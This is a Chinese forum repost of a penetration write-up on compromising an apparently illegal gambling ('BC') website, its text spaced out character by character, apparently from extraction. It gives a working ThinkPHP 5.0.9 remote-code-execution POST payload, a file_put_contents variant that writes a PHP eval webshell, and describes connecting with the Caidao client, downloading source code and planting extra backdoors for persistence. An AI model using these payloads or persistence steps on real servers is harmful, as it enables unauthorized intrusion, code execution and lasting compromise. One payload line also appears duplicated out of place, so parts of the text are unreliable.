搜索

[28809] 2021-03-16_简单的BC站点getshell

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-19
2021-03-16_简单的BC站点getshell 简 单 的 B C 站 点 g e t s h e l l S q u i r r e l s   O t s 安 全   2 0 2 1 - 0 3 - 1 6 最 近 来 了 点 任 务 ， 做 B C 站 ， 以 前 没 做 过 只 能 碰 碰 运 气 ！ 确 定 目 标 确 定 目 标 主 站 ： 主 站 ： 通 过 旁 站 ： 信 息 收 集 信 息 收 集 通 过 信 息 收 集 发 现 是 个 t p   v 5 . 0 . 9 ， 此 版 本 存 在 t p - r c e 漏 洞 。 直 接 通 过 p a y l o a d 进 行 测 试 ， 查 找 p a y l o a d ， 直 接 打 ： P o s t ： _ m e t h o d = _ _ c o n s t r u c t & f i l t e r [ ] = a s s e r t & m e t h o d = g e t & g e t [ ] = p h p i n f o ( )
发 现 是 p h p   5 . 4 . 4 5 版 本 的 ， 直 接 尝 试 g e t s h e l l ： 发 现 s y s t e m 被 禁 用 ， 尝 试 其 他 系 统 命 令 的 也 一 样 。 查 看 p h p i n f o 中 d e s a b l e _ f u n c t i o n s 禁 用 了 那 些 函 数 。 想 办 法 怎 么 绕 过 进 行 写 马 （ 此 处 卡 了 我 半 天 ） 最 后 通 过 一 位 渗 透 小 伙 伴 ， 想 出 下 面 的 可 以 利 用 f i l e _ p u t _ c o n t e n t s 直 接 写 s h e l l ， 想 了 半 天 ， 忘 了 用 其 他 函 数 进 行 直 接 写 马 就 可 以 了 ， 并 不 需 要 非 得 利 用 s y s t e m 命 令 进 行 写 马 ， 还 是 底 层 知 识 薄 弱 啊 。 再 次 感 谢 小 伙 伴 ！ g e t s h e l l 构 造 p a y l o a d ： P o s t ： _ m e t h o d = _ _ c o n s t r u c t & f i l t e r [ ] = a s s e r t & m e t h o d = g e t & g e t [ ] = p h p i n f o ( )
写 入 成 功 ， 利 用 菜 刀 连 接 。 成 功 连 接 。 查 看 权 限 ： 发 现 启 动 了 远 程 安 全 模 式 。 想 要 绕 过 ， 发 现 很 多 函 数 被 禁 用 ， 占 未 成 功 。 下 载 源 码 ： 多 部 署 一 些 后 门 ， 防 止 被 删 。 文 章 转 载 先 知 社 区 文 章 转 载 先 知 社 区 _ m e t h o d = _ _ c o n s t r u c t & f i l t e r [ ] = a s s e r t & m e t h o d = g e t & g e t [ ] = f i l e _ p u t _ c o n t e n t s ( ' a . p h p ' , ' < ? p h p   e v a l ( $ _ P O S T [ a ] ) ? > ' )
原 文 链 接 ： h t t p s : / / x z . a l i y u n . c o m / t / 9 2 3 2 作 者 主 页 ： h t t p s : / / x z . a l i y u n . c o m / u / 3 5 0 5 9 作 者 名 称 ： S q u i r r e l s 相 关 文 章 参 考 ： 相 关 文 章 参 考 ： 记 一 次 B C 站 实 战 渗 透   |   从 X S S 到 主 机 上 线 h t t p : / / c n - s e c . c o m / a r c h i v e s / 7 4 6 3 9 . h t m l 记 录 一 次 实 战 拿 b c 网 站 的 经 历 h t t p : / / w w w . y e m o g e g e . c n / w z a q - s t w z / 3 4 8 . h t m l 一 次 对 B C 网 站 的 渗 透 测 试 h t t p s : / / m y . o s c h i n a . n e t / A d m i n T e a m / b l o g / 4 6 8 3 4 9 5 一 兄 弟 被 坑 ， 我 渗 透 进 某 B C 的 杀 猪 盘 经 历 h t t p s : / / m y . o s c h i n a . n e t / u / 4 5 8 8 1 4 9 / b l o g / 4 4 2 1 9 0 6 记 一 次 较 大 的 b c 推 广 平 台 的 渗 透 h t t p s : / / m y . o s c h i n a . n e t / u / 4 5 8 8 1 4 9 / b l o g / 4 7 1 6 5 4 7 某 群 遇 某 产 继 而 入 侵 某 B C 内 网 的 奇 妙 故 事 h t t p s : / / w w w . h a c k d o o r . o r g / d / 2 1 6 - b c 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理